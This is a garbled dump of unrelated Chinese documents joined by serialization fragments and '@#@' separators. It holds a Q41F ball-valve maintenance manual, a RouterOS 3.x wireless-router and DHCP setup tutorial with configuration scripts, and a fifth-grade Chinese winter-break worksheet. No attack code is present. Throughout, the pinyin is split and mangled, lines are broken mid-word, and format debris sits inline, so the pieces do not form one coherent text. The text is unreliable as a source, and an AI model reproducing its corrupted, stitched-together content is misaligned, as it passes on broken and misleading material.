@#@@#@3、运转中的维护@#@阀门在运转过程中要使阀门处于常年整洁,阀件齐全、正常运转的状态,以达到启闭灵活的目的。
@#@@#@3、常见故障的预防排除@#@常见故障@#@产生原因@#@预防措施@#@排除方法@#@阀盖与阀体接触面泄漏@#@1、螺钉松动@#@2、垫片破损@#@1、紧固螺钉。
@#@@#@2、更换垫片。
@#@@#@关不严@#@1、密封面损坏。
@#@@#@2、密封面有杂物夹住。
@#@@#@不宜在含颗粒状杂质的介质中使用。
@#@@#@1、停机拆卸阀门后修整密封面。
@#@@#@2、反复冲洗密封面杂物。
@#@@#@Q41F球阀@#@ @#@@#@使@#@用@#@说@#@明@#@书@#@ @#@@#@Q41F球阀使用说明书@#@Q41F球阀为其球体垂直于通道的轴线旋转而启闭通道。
@#@@#@1、压力级:
@#@1.0MPa,1.6MPa,2.5MPa,4.0MPa,6.4MPa;@#@@#@2、使用温度:
@#@-29℃---200℃;@#@@#@3.适用介质:
@#@水、蒸汽、油品等非腐蚀性介质。
@#@@#@一、结构特点@#@1、阀体通道为全通径,流体阻力小。
@#@@#@2、启闭迅速,不受介质流动方向的限制。
@#@@#@二、维护保养@#@1、运输途中的维护@#@阀门在运输途中应注意轻装轻卸,以防止法兰密封面磕碰损坏,应将密封面擦洗干净后再关闭。
@#@要确保油漆、铭牌和法兰密封面的完好,现场要做好防雨、防尘工作。
@#@@#@2、保管中的维护@#@对入库的阀门,要认真擦拭、清洗阀门在运输过程中的积水和灰尘,对易生锈的加工面、阀杆、密封面应涂上一层防锈剂或贴上一层防锈纸加以保护。
@#@阀门进出口通道的封盖要封好,以免赃物进入。
@#@对在运输中损坏,丢失的阀门零部件,应及时配齐。
@#@@#@3、运转中的维护@#@阀门在运转过程中要使阀门处于常年整洁、润滑良好、阀件齐全、正常运转的状态。
@#@以达到开启灵活的目的,不允许在运行中对阀门进行敲打。
@#@阀门关闭或开启不允许使用加长扳手。
@#@@#@三、常见故障的预防排除@#@常见故障@#@产生原因@#@预防措施@#@排除方法@#@阀杆机构损坏@#@1、阀前阀后压力接近或波动大,使阀瓣反复拍打而损坏阀瓣和其他零件。
@#@@#@2、摇杆机构装配不正,产生阀瓣掉下现象。
@#@@#@3、摇杆、阀瓣和芯轴连接处松动或磨损。
@#@@#@4、摇杆变形或断裂。
@#@@#@1、定期清洗,不宜使用在含磨粒多的介质中。
@#@@#@2、检查零件加工质量,安装或装配应正确,阀盖应逢中部歪斜。
@#@@#@3、阀瓣轴与导向套间隙适中。
@#@@#@4、定期检修和更换。
@#@@#@5、组装应牢靠。
@#@@#@1、停车卸压后,修理或更换阀门。
@#@@#@2、卡死、锈死、顶死而使关闭件开不起时,先润滑传动部位。
@#@@#@3、及时更换磨损的零部件。
@#@@#@介质倒流@#@1、球体不圆,表面粗糙。
@#@@#@2、球体冲翻。
@#@@#@3、阀座密封圈压坏。
@#@@#@4、密封面无预紧力。
@#@@#@5、扳手所指示的位置与实际不符,产生泄漏。
@#@@#@6、阀座圈与阀体不密封。
@#@@#@1、提高制造质量。
@#@@#@2、装配应正确,操作要平稳,不允许作节流阀使用。
@#@@#@3、装配阀座时,阀门应处于全关位置,拧紧螺栓时应均匀,用力应小。
@#@@#@4、使用前应检查扳手所指关闭位置应与实际关闭位置相符,定期校正。
@#@@#@5、提高阀座与阀体装配精度和密封性能,减少阀座拆卸次数,定期检查和更换密封件。
@#@@#@1、停车卸压后,修理或更换阀门。
@#@@#@2、异物卡住密封面时,可用反复开启阀门的方法冲走异物。
@#@@#@3、扳手所指位置与关闭位置不符时,应修理扳手与阀杆连接处,调整位置,使扳手所指位置与关闭位置一致。
@#@@#@4、常闭式球阀应先关闭阀门。
@#@@#@5、开启阀门应全开位置。
@#@@#@ @#@@#@Welcome!
@#@!
@#@!
@#@@#@欢迎您的下载,@#@资料仅供参考!
@#@@#@ @#@@#@";i:
9;s:
3980:
"ROS3x做无线路由器设置教程@#@ROS系统要求:
@#@@#@必需安装Wireless组件和dhcp组件).不安装的请解压安装包后将Wireless.npk及dhcp. @#@npk上传到FTP上并重启。
@#@。
@#@安装成功后如下图。
@#@。
@#@@#@必需安装有无线网卡,并且ROS能正常识别。
@#@。
@#@安装成功后如下面。
@#@。
@#@@#@设置开始。
@#@。
@#@@#@我们先给无线网卡设置一个IP。
@#@。
@#@我们以192.168.2.0/24网段为例。
@#@。
@#@设置无线网卡内网IP为:
@#@192.168.2.254。
@#@。
@#@设置完成后如下图:
@#@@#@相关脚本如下:
@#@@#@ @#@@#@/ipaddressaddaddress=192.168.2.254/24interface=wlan1@#@ @#@@#@我们这里分两大步骤来设置@#@一、先设置DHCP服务。
@#@@#@进入winbox---IP---DHCPServer @#@ @#@点击DHCPSetup进入设置向导。
@#@。
@#@如下图:
@#@@#@选择我们要设置DHCP服务的网卡。
@#@。
@#@这里我们选择无线网卡。
@#@。
@#@即wlin1。
@#@。
@#@如下图:
@#@@#@点击[Next]下一步。
@#@。
@#@设置无线服务的网段。
@#@。
@#@上面我们说了以192.168.2.0/24为例。
@#@。
@#@所以我们这里设置192.168.2.0/24。
@#@。
@#@如下图:
@#@@#@点击[Next]下一步。
@#@。
@#@设置无线网络内网网关。
@#@。
@#@即我们第一步设置的无线网卡IP地址。
@#@。
@#@如下图:
@#@@#@点击[Next]下一步。
@#@。
@#@这里设置无线网络客户机将所获取到的IP范围。
@#@。
@#@在这里我们设置192.168.2.1-192.168.2.253。
@#@。
@#@如下图:
@#@@#@点击[Next]下一步。
@#@。
@#@设置DNS。
@#@。
@#@在这里不多说。
@#@。
@#@如下图:
@#@@#@点击[Next]下一步。
@#@。
@#@这里设置租期。
@#@。
@#@一般设置三天。
@#@。
@#@如下图:
@#@@#@点击[Next]完成向导。
@#@。
@#@成功后如下图(红线部分为我们刚才向导添加的):
@#@@#@习惯性将其更名为:
@#@WlanDHCP。
@#@如下图:
@#@@#@好了。
@#@。
@#@第一个步骤的DHCP服务已经设置成功。
@#@。
@#@@#@相关脚本如下:
@#@@#@ @#@@#@ @#@@#@/ipdhcp-serveraddaddress-pool=dhcp_pool3authoritative=after-2sec-delaybootp-support=staticdisabled=nointerface=wlan1lease-time=3dname=WlanDHCP@#@/ipdhcp-servernetworkaddaddress=192.168.2.0/24comment="@#@"@#@dns-server=202.96.134.133gateway=192.168.2.254@#@/ippooladdname=dhcp_pool3ranges=192.168.2.1-192.168.2.253@#@ @#@@#@二、设置无线网卡服务。
@#@。
@#@进入winbox---Wireless@#@1。
@#@添加模版。
@#@。
@#@如下图:
@#@@#@相关设置如下图:
@#@@#@点击OK保存!
@#@@#@相关脚本如下:
@#@@#@ @#@@#@ @#@@#@/interfacewirelesssecurity-profiles@#@addauthentication-types=wpa-psk,wpa2-pskgroup-ciphers=tkip\@#@ @#@ @#@ @#@group-key-update=5minterim-update=0smode=static-keys-requiredname=\@#@ @#@ @#@ @#@wlan_profileradius-eap-accounting=noradius-mac-accounting=no\@#@ @#@ @#@ @#@radius-mac-authentication=noradius-mac-caching=disabled\@#@ @#@ @#@ @#@radius-mac-format=XX:
@#@XX:
@#@XX:
@#@XX:
@#@XX:
@#@XXradius-mac-mode=as-username\@#@ @#@ @#@ @#@static-algo-0=40bit-wepstatic-algo-1=nonestatic-algo-2=none\@#@ @#@ @#@ @#@static-algo-3=nonestatic-key-0=123456static-key-1="@#@"@#@static-key-2=\@#@ @#@ @#@ @#@"@#@"@#@static-key-3="@#@"@#@static-sta-private-algo=nonestatic-sta-private-key="@#@"@#@\@#@ @#@ @#@ @#@static-transmit-key=key-0supplicant-identity="@#@"@#@tls-certificate=none\@#@ @#@ @#@ @#@tls-mode=no-certificatesunicast-ciphers=tkipwpa-pre-shared-key="@#@"@#@\@#@ @#@ @#@ @#@wpa2-pre-shared-key="@#@"@#@@#@ @#@@#@ @#@@#@2。
@#@修改无线网卡属性。
@#@。
@#@如下图:
@#@@#@此主题相关图片如下:
@#@未命名.jpg@#@点击OK。
@#@。
@#@大功告成。
@#@。
@#@。
@#@@#@";i:
10;s:
30812:
"五年级寒假语文资料@#@@#@ @#@@#@姓名:
@#@_________@#@班级:
@#@_________@#@ @#@@#@寄语:
@#@每天进步一点点,你会有很大的收获的。
@#@@#@专题一拼音篇@#@1、汉语拼音重点知识@#@单韵母()个:
@#@__________________________________@#@复韵母()个:
@#@________________________________________________________@#@声母()个:
@#@____________________________________________________________@#@整体认读音节()个:
@#@______________________________________________________@#@字母表()个:
@#@___________________________________________________________@#@二、容易读错的字词表@#@狭隘à@#@i@#@剥皮bāo@#@投奔bè@#@n@#@迸发bè@#@nɡ@#@包庇bì@#@@#@针砭biān@#@哺育bǔ@#@漩涡xuá@#@n@#@参差cēncī@#@刹那chà@#@@#@乘机ché@#@nɡ@#@驰骋chěnɡ@#@炽热chì@#@@#@逮老鼠dǎi@#@垂涎三尺xiá@#@n@#@订正dì@#@nɡ@#@踱步duó@#@@#@氛围fēn@#@勾当ɡò@#@u@#@瑰丽ɡuī@#@诲人不倦huì@#@@#@逮捕dà@#@i@#@嫉妒jí@#@@#@拮据jié@#@jū@#@不卑不亢kà@#@nɡ@#@书声琅琅lá@#@nɡ@#@果实累累lé@#@i@#@联袂mè@#@i@#@宁死不屈nì@#@nɡ@#@滂沱pānɡtuó@#@@#@潜移默化qiá@#@n@#@翘首远望qiá@#@o@#@提纲挈领qiè@#@@#@折本shé@#@@#@如火如荼tú@#@@#@湍急tuān@#@妥帖tiē@#@字帖tiè@#@@#@请帖tiě@#@贿赂lù@#@@#@纸屑xiè@#@@#@揠苗助长yà@#@@#@殷红yān@#@佯装yá@#@nɡ@#@自怨自艾yì@#@@#@游弋yì@#@@#@脍炙人口zhì@#@@#@中肯zhò@#@nɡ@#@骨髓suǐ@#@戛然而止jiá@#@@#@所向披靡mǐ@#@召开zhà@#@o@#@瞭望lià@#@o@#@人迹罕至hǎn@#@瞥见piē@#@肆虐nü@#@è@#@@#@热泪盈眶kuà@#@nɡ@#@躯壳qià@#@o@#@倔强jué@#@@#@惩罚ché@#@nɡ@#@锐不可当dānɡ@#@惟妙惟肖xià@#@o@#@锲而不舍qiè@#@@#@否极泰来pǐ@#@档次dà@#@nɡ@#@扎小辫zā@#@浑水摸鱼hú@#@n@#@召唤zhà@#@o@#@为虎作伥wè@#@ichānɡ@#@提供ɡōnɡ@#@供认ɡò@#@nɡ@#@三、积累运用@#@ @#@
(一)在大写字母后面的括号里写出相应的小写字母。
@#@@#@E( @#@ @#@) @#@ @#@ @#@ @#@N( @#@ @#@ @#@ @#@ @#@) @#@ @#@ @#@ @#@Q( @#@ @#@ @#@) @#@ @#@ @#@ @#@J( @#@ @#@ @#@) @#@ @#@ @#@ @#@L( @#@ @#@ @#@ @#@)Y( @#@ @#@ @#@ @#@) @#@ @#@ @#@ @#@K( @#@ @#@ @#@ @#@) @#@ @#@ @#@ @#@D( @#@ @#@ @#@ @#@ @#@) @#@ @#@ @#@ @#@T( @#@ @#@ @#@ @#@ @#@) @#@ @#@ @#@ @#@A( @#@ @#@ @#@ @#@)@#@
(二)给下面词语选择正确的读音,画上“√”。
@#@@#@1、不屈不饶①bù@#@ @#@qú@#@ @#@bù@#@ @#@rá@#@o @#@ @#@ @#@ @#@ @#@ @#@ @#@②bù@#@ @#@qú@#@ @#@bù@#@ @#@lá@#@o @#@ @#@ @#@ @#@ @#@ @#@ @#@③bù@#@ @#@qū @#@bù@#@ @#@ná@#@o@#@2、排山倒海①pá@#@ishāndǎohǎi @#@ @#@ @#@②pǎisāndà@#@ohǎi @#@ @#@ @#@③pá@#@ishāndǎohá@#@i@#@3、风调雨顺①hēngtiá@#@oyǔ @#@shù@#@n @#@ @#@②fēngtiá@#@oyǔ @#@sù@#@n @#@ @#@③fēngtiá@#@oyǔ @#@shù@#@n@#@(三)判断下列说法正确与否,正确的画“√”,错误的画“×@#@”。
@#@@#@⑴“j,q,x”和“ü@#@”相拼,在书写时应去掉“ü@#@”上的两点。
@#@ @#@ @#@( @#@ @#@ @#@ @#@)@#@⑵“蓓、萌、嫩、未”四个字是按音序排列的。
@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@( @#@ @#@ @#@ @#@)@#@⑶韵母“i”和“u”在同一音节中,调号应该标在前一个韵母上。
@#@( @#@ @#@ @#@ @#@)@#@⑷“蒙、鸿、橙、惩”四个字的韵母都是“enɡ”。
@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@( @#@ @#@ @#@ @#@)@#@(四)拼一拼,读一读。
@#@@#@1. @#@选择加点字正确的读音,用线连起来。
@#@@#@女兵 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@nǚ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@大路 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@lù@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@团结 @#@ @#@ @#@ @#@ @#@ @#@jié@#@@#@努力 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@nǔ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@失落 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@luò@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@清洁 @#@ @#@ @#@ @#@ @#@ @#@jié@#@@#@惩罚 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ché@#@nɡ @#@ @#@ @#@ @#@ @#@ @#@身体 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@sēn @#@ @#@ @#@ @#@ @#@ @#@ @#@优劣 @#@ @#@ @#@ @#@ @#@ @#@liè@#@@#@沉重 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ché@#@n @#@ @#@ @#@ @#@ @#@ @#@ @#@森林 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@shēn @#@ @#@ @#@ @#@ @#@ @#@劳累 @#@ @#@ @#@ @#@ @#@ @#@lè@#@i@#@2. @#@给下列汉字的注音加上声调符号。
@#@@#@conɡ @#@ @#@从 @#@ @#@ɡɑnɡ @#@ @#@港 @#@ @#@ @#@ɡuɑi @#@ @#@乖 @#@ @#@ @#@dɑn @#@ @#@旦 @#@ @#@ @#@jiu @#@救 @#@ @#@ @#@piɑn @#@ @#@骗@#@ji @#@ @#@ @#@及 @#@ @#@ @#@chɑnɡ厂 @#@ @#@ @#@sui @#@ @#@随 @#@ @#@ @#@ @#@denɡ灯 @#@ @#@ @#@mo @#@ @#@墨 @#@ @#@ @#@ @#@zun @#@ @#@尊@#@3. @#@在每组音节中找出一个整体认读音节,在下面画“—— @#@”。
@#@@#@⑴ @#@ @#@chú@#@ @#@ @#@ @#@xī @#@ @#@ @#@sì@#@ @#@ @#@ @#@dà@#@i @#@ @#@ @#@chè@#@n @#@ @#@ @#@fù@#@ @#@ @#@ @#@hè@#@ @#@ @#@ @#@wēi@#@⑵ @#@ @#@ruì@#@ @#@ @#@ @#@xú@#@n @#@ @#@ @#@zhāo @#@ @#@ @#@tà@#@n @#@ @#@ @#@zhì@#@ @#@ @#@ @#@shè@#@ @#@ @#@ @#@kānɡ @#@ @#@lè@#@i@#@⑶ @#@ @#@tò@#@u @#@ @#@ @#@ @#@bō @#@ @#@ @#@ @#@jī @#@ @#@ @#@ @#@tiē @#@ @#@ @#@fēn @#@ @#@ @#@wēi @#@ @#@ @#@yuè@#@ @#@ @#@ @#@yà@#@n@#@⑷ @#@ @#@cāo @#@ @#@ @#@wǔ @#@ @#@ @#@yǒnɡ @#@ @#@ @#@bǎn @#@ @#@ @#@huá@#@ @#@ @#@ @#@pá@#@i @#@ @#@ @#@pīnɡ @#@ @#@ @#@kū@#@4.将下列汉字按音序排列是@#@①映②日③荷④花⑤别⑥样⑦红@#@___________________________________________@#@(五)根据拼音写汉字。
@#@@#@夏夜的风,悄悄送来 @#@bà@#@nɡ @#@ @#@wǎn( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@) @#@醉人的 @#@qì@#@ @#@ @#@xī @#@( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@),我漫步在海岸边。
@#@yuǎntià@#@o( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@)大海,海天相接处连接着mé@#@i @#@ @#@ɡui( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@) @#@色的霞光。
@#@落日的yú@#@ @#@huī @#@( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@)给大海罩上一层红纱。
@#@wēnró@#@u( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@) @#@的海风 @#@ @#@qīng @#@ @#@fú@#@ @#@( @#@ @#@ @#@) @#@海面,海水泛着liá@#@nyī @#@( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@),涌着碎波,那是大海迷人的笑靥;@#@层层海浪cì@#@ @#@dì@#@( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@) @#@向岸边滚动,那是大海美丽裙幅上的 @#@ @#@zhé@#@ @#@ @#@zhò@#@u @#@( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@);@#@排排浪尖上跳动着 @#@ @#@jīngyí@#@ng( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@)的浪花,那是大海裙幅上 @#@qià@#@olì@#@( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@)的花边;@#@哗哗……涛声阵阵,那是大海优美的歌声。
@#@@#@我想远远的海面上望去,那被 @#@ @#@cōnɡ @#@ @#@ @#@yù@#@ @#@ @#@( @#@ @#@ @#@)的树林染绿的小鸟,正浴在jú@#@ @#@ @#@hó@#@nɡ( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@)的晚霞中。
@#@啊,好一幅充满 @#@ @#@meì@#@lì@#@( @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@)的海浪图!
@#@@#@(六)根据要求填字。
@#@@#@1.在括号里填上合适的“wá@#@n”字。
@#@@#@⑴小明已经把作业写( @#@ @#@ @#@ @#@ @#@)了。
@#@⑵他的弟弟是个( @#@ @#@ @#@ @#@ @#@)皮又可爱的孩子。
@#@@#@⑶他这是开( @#@ @#@ @#@ @#@ @#@)笑,你别当真。
@#@⑷今天,妈妈给我做了一盘牛肉( @#@ @#@ @#@ @#@ @#@)子。
@#@@#@2.在括号里填上合适的“liá@#@n”字。
@#@@#@⑴我同桌最喜欢画( @#@ @#@ @#@ @#@ @#@)环画了。
@#@⑵卖火柴的小女孩真可( @#@ @#@ @#@ @#@ @#@)!
@#@@#@⑶我们家换上了漂亮的新窗( @#@ @#@ @#@ @#@ @#@)。
@#@⑷我好久都没有和姑姑( @#@ @#@ @#@ @#@ @#@)系了。
@#@@#@(七)在加点字的正确读音下面画“√”。
@#@@#@1、挨(āi @#@ @#@á@#@i)了一天又一天,老班长以他坚强(qiǎnɡ @#@ @#@qiá@#@nɡ)的意志支撑着,他倔强(qiǎnɡ @#@ @#@jià@#@nɡ)地就是不吃东西。
@#@我看着他那勉强(qiǎnɡ @#@ @#@qiānɡ)睁着的慈祥的目光,心里比挨(āi @#@ @#@á@#@i)打骂还难受。
@#@@#@2、他似(shì@#@ @#@ @#@sì@#@)乎没有听见,仍像个木偶似(shì@#@ @#@ @#@sì@#@)的把(bǎ @#@ @#@bà@#@)钉(dīnɡ @#@ @#@@#@dì@#@nɡ)子钉(dīnɡ @#@ @#@dì@#@nɡ)在门把(bǎ @#@ @#@bà@#@)的缝(fé@#@nɡ @#@fè@#@nɡ)隙处。
@#@@#@(八)判断下列说法的正误,正确的画“√”,错误的画“×@#@”。
@#@@#@1.CDEFKIJH……不是按字母表中先后顺序排列的。
@#@ @#@ @#@ @#@ @#@ @#@( @#@ @#@ @#@ @#@)@#@2. @#@声调符号既可以标在声母头上,也可以表在韵母头上。
@#@ @#@ @#@ @#@( @#@ @#@ @#@ @#@)@#@3. @#@普通话所有的音节都是由声母、韵母和声调三个部分组成的。
@#@( @#@ @#@ @#@ @#@)@#@4. @#@人或事物专用名词的拼音,第一个字母要大写,如“北京”写作“Běijīnɡ”。
@#@ @#@() @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@5. @#@“j,q,x @#@”与“ü@#@”相拼时,省去“ü@#@”上的两点。
@#@ @#@( @#@ @#@ @#@ @#@)@#@6. @#@“上学”“头上”“身上”“去上学”几个词中的“上”都念“shà@#@nɡ”。
@#@ @#@ @#@ @#@ @#@ @#@( @#@ @#@ @#@ @#@)@#@7. @#@“这个汽车模型精致极了,跟真的一模一样”中的“模”都读“mó@#@”。
@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@( @#@ @#@ @#@ @#@)@#@8. @#@“留恋”的“恋”的韵母是“là@#@n”。
@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@( @#@ @#@ @#@ @#@)@#@9. @#@“厌恶”的“恶”音节是“è@#@”。
@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@( @#@ @#@ @#@ @#@)@#@10. @#@“好奇”的“好”标调是“hà@#@o”,“号召”的“号”标调是“hà@#@o”,“入场券”的“券”标调是“quà@#@n”。
@#@ @#@ @#@ @#@( @#@ @#@ @#@)@#@【真题演练】@#@1.选出加点字注音全部正确的一组。
@#@()@#@A.庇(bì@#@)护挫(cuō)折炽(chì@#@)热潜(qiá@#@n)滋暗长@#@B.模(mú@#@)样压轴(zhò@#@u)花蕾(lé@#@i)悄(qiăo)然隐去@#@C.憎zēng)恨标识(zhì@#@)秩(zhì@#@)序玲珑剔(tī)透@#@D.泥泞(nì@#@ng)脊(ji)梁机械(xiè@#@)锲(qì@#@)而不舍@#@2、选出加点字注音全部正确的一组。
@#@()@#@A.迤逦yĭ惬意qiè@#@怂恿sŏng载歌载舞zaĭ@#@B.挪动nuó@#@账簿bù@#@暂时zà@#@n拾级而上shè@#@@#@c.生肖xiāo惩罚ché@#@ng证券quà@#@n锲而不舍shè@#@@#@D.乘客chè@#@ng因为wè@#@i纤细xiān各奔前程bè@#@n@#@3、给划线的字注音@#@戛()然而止栉()风沐雨白雪皑()皑溘()然长逝@#@汗流浃()背谆谆()教导猝()不及防瞠()目结舌虬()枝峥嵘相濡()以沫@#@4、读下面语段,根据拼音写出相应汉字,并给加点字注音。
@#@@#@走进"@#@一中书吧"@#@,与书籍约会,驿动的心灵被"@#@漂流图书"@#@俘获,多少个可自由支配的夜晚因阅读而有了着落。
@#@风轻轻的吹着,静(mì@#@)______的灯夜,漂白的灯,避开(xuān)______嚣,抛开烦(năo)____,独自享受温馨_____的书香,一片素美、干净的文字似一首沁人心(Pí@#@)_____的小夜曲,让人心醉。
@#@书犹如浩瀚的大海,风平浪静过后,又是一阵波涛澎湃,此刻作为小读者的你仿佛海面上的一叶扁____舟,经历着变(huà@#@n)_____奇异的旅程。
@#@感受着人生的丰富与乐趣。
@#@就这样,成长在阅读中悄悄地变生着。
@#@@#@【今日学习】@#@ @#@@#@@#@ @#@@#@※汉字重点知识@#@1、汉字的演变过程:
@#@__________________________________________________@#@2、查字典方法:
@#@______________、_________________、___________________@#@三、易写错的常考词语。
@#@@#@安装@#@甘拜下风@#@自暴自弃@#@针砭时弊@#@脉搏@#@松弛@#@一筹莫展@#@川流不息@#@精粹@#@度假村@#@妨碍@#@辐射@#@一副对联@#@天翻地覆@#@言简意赅@#@气概@#@一鼓作气@#@悬梁刺股@#@震撼@#@食不果腹@#@凑合@#@候车室@#@迫不及待@#@一如既往@#@草菅人命@#@矫揉造作@#@挖墙脚@#@一诺千金@#@竣工@#@脍炙人口@#@打蜡@#@再接再厉@#@呕心沥血@#@入场券@#@墨守成规@#@黄粱美梦@#@鼎力相助@#@青睐@#@出其不意@#@沉湎@#@谈笑风生@#@寒暄@#@宣泄@#@竭泽而渔@#@金榜题名@#@赃款@#@蛰伏@#@九霄云外@#@平添@#@美轮美奂@#@有恃无恐@#@拟人@#@烦躁不安@#@炙手可热@#@独出心裁@#@惟妙惟肖@#@鞠躬尽瘁@#@水乳交融@#@阴谋诡计@#@大声疾呼@#@销声匿迹@#@含辛茹苦@#@声名鹊起@#@应接不暇@#@委曲求全@#@名门望族@#@眼花缭乱@#@人情世故@#@瞭望@#@各抒己见@#@赝品@#@千钧一发@#@不可名状@#@洁白无瑕@#@饮鸩止渴@#@不计其数@#@追溯@#@耳濡目染@#@张皇失措@#@旁征博引@#@世外桃源@#@走投无路@#@旋律@#@鬼鬼祟祟@#@温文尔雅@#@杳无音讯@#@一窍不通@#@一反常态@#@迁徙@#@完璧归赵@#@搏击万里@#@抑扬顿挫@#@莫名其妙@#@九州@#@恣意妄为@#@金碧辉煌@#@循规蹈矩@#@喋喋不休@#@呼朋引伴@#@不屑置辩@#@人声鼎沸@#@银装素裹@#@3、积累运用@#@
(1)填空@#@1、“盈”字用音序查字法查大写字母,拼音是_______,共有______画。
@#@@#@2、“荡”字用音序查字法查大写字母,部首是,第七画名称是。
@#@“荡”字在字典里共有四种解释:
@#@①放纵,不受拘束;@#@②清楚,弄光;@#@③无事闲逛;@#@④摇动。
@#@在“荡漾”一词中应选第种解释。
@#@@#@3、“谋”是_______结构,音序查字法应先查音序______,再查音节_______。
@#@部首查字法中,应先查部首______,再查_______画。
@#@“谋”字在新华字典里有三个注释:
@#@
(1)计划、计策、主意等。
@#@
(2)设法寻求。
@#@(3)商议。
@#@成语中“不谋而合”里的“谋”字的意思应是_________。
@#@ @#@@#@
(二)、找出下列成语中的错别字,并把正确的字写在括号里。
@#@@#@竭泽而鱼()不容质疑()不容争辨()高官厚碌()@#@眼急手快()走头无路()寻物启示()无精打采()@#@目不遐接()接应不遐()金壁辉煌()响彻云宵()@#@阴谋鬼计()处景生情()受益非浅()自出新裁()@#@喜出忘外()无可耐何()情不自尽()出类拔萃()@#@自爆自弃()大才小用()唇枪舌箭()变本加厉()@#@一泄千里()寻欢作乐()负愚顽抗()原形毕露()@#@排山到海()迫不急待()再接再厉()瑕不掩愚()@#@顾名思意()望洋心叹()银妆素裹()藉贯()@#@故弄悬虚()如火如茶()因地治宜()万赖俱寂()@#@端祥()责无旁代()寒喧()风彩()@#@(三)、比较字形、字音组词语。
@#@@#@瀑()镇()腊()虑()胖()绣()挣()肢()@#@爆()填()蜡()滤()绊()锈()筝()织()@#@(4)选择题@#@1、下面几组词语中没有错别字的一组是()@#@A、穿流不息置之不理阴谋诡计兴高彩烈@#@ B、不计其数眼花缭乱郑重其事莫明其妙@#@ C、别出心裁迫不急待再接再厉出类拔萃@#@ D、德高望重不攻自破走投无路漫不经心@#@2、下面词语中,没有错别字的一组是()@#@A五彩缤纷震撼天地蜿蜒曲拆B实事求是混水摸鱼长途跋涉@#@C不计其数含糊其词阴谋鬼计D清澈见底处景生情面容憔悴@#@3、下面各组没有错别字的是()@#@A严历畸形油光可鉴B隐蔽虐杀咳人听闻@#@C菜畦弥漫再接再厉D桑椹和谐与时俱进@#@4、下列词语中,有错别字的一组是()@#@A人迹罕至人声鼎沸油光可鉴毫不介意@#@B杳无消息抑扬顿挫深恶痛急呼朋引伴@#@C甘拜下风与日俱增莫名其妙无精打采@#@D相时而动自命不凡改邪归正精益求精@#@5、下列句子中,没有错别字的一组是()@#@A海伦像一块干躁的海绵吮吸着知识的甘霖。
@#@@#@B我仿佛看到,她的碧眼仍然闪烁着娇傲的光芒。
@#@@#@C蒙蒙细雨给这条峡小的小镇披上了蝉翼似的轻纱。
@#@@#@D只有敢于拼搏的人,才可能取得成功。
@#@@#@7、下列加点词解释有误的一组是()@#@A津津有味(津:
@#@口液,唾液)不知所措(措:
@#@安置,处理)心悦诚服(诚:
@#@真心)@#@B千钧一发(钧:
@#@三十斤)油然而生(油然:
@#@自然而然)引人入胜(胜:
@#@胜利)@#@C心驰神往(驰:
@#@奔驰)栉风沐雨(栉:
@#@梳头发;@#@沐:
@#@洗头发)梦寐不忘(寐:
@#@睡着)@#@D面面相觑(觑:
@#@看)众目睽睽(睽睽:
@#@形容注视)膛目结舌(膛:
@#@瞪着眼看)@#@(五)给带点的字选择正确的解释。
@#@ @#@@#@ @#@ @#@1、异:
@#@①分别;@#@不相同 @#@ @#@ @#@②奇异;@#@特别 @#@ @#@ @#@③惊奇;@#@奇怪 @#@ @#@ @#@④另外的;@#@别的 @#@ @#@⑤分开 @#@ @#@ @#@@#@奇花异草( @#@ @#@ @#@) @#@ @#@异口同声( @#@ @#@ @#@) @#@ @#@诧异( @#@ @#@ @#@) @#@ @#@异乡( @#@ @#@ @#@)@#@2、“光”在现代汉语中包括有以下几种解释:
@#@ @#@@#@A.光波、光线 @#@ @#@ @#@B.景物 @#@ @#@ @#@ @#@C.敬辞,表示光荣,用于对方来临 @#@ @#@ @#@D.光大,使显耀 @#@ @#@ @#@E.单、只 @#@@#@1.在封建社会,人们十载寒窗苦读,为的是金榜题名,光宗耀祖。
@#@( @#@ @#@) @#@@#@2.您的光临是我们最大的荣幸。
@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@( @#@ @#@ @#@)@#@3.任务繁重,光靠你们两个人恐怕不能完成。
@#@( @#@ @#@) @#@@#@4.登临泰山,放眼四顾,他发出了“无限风光在险峰”的感慨!
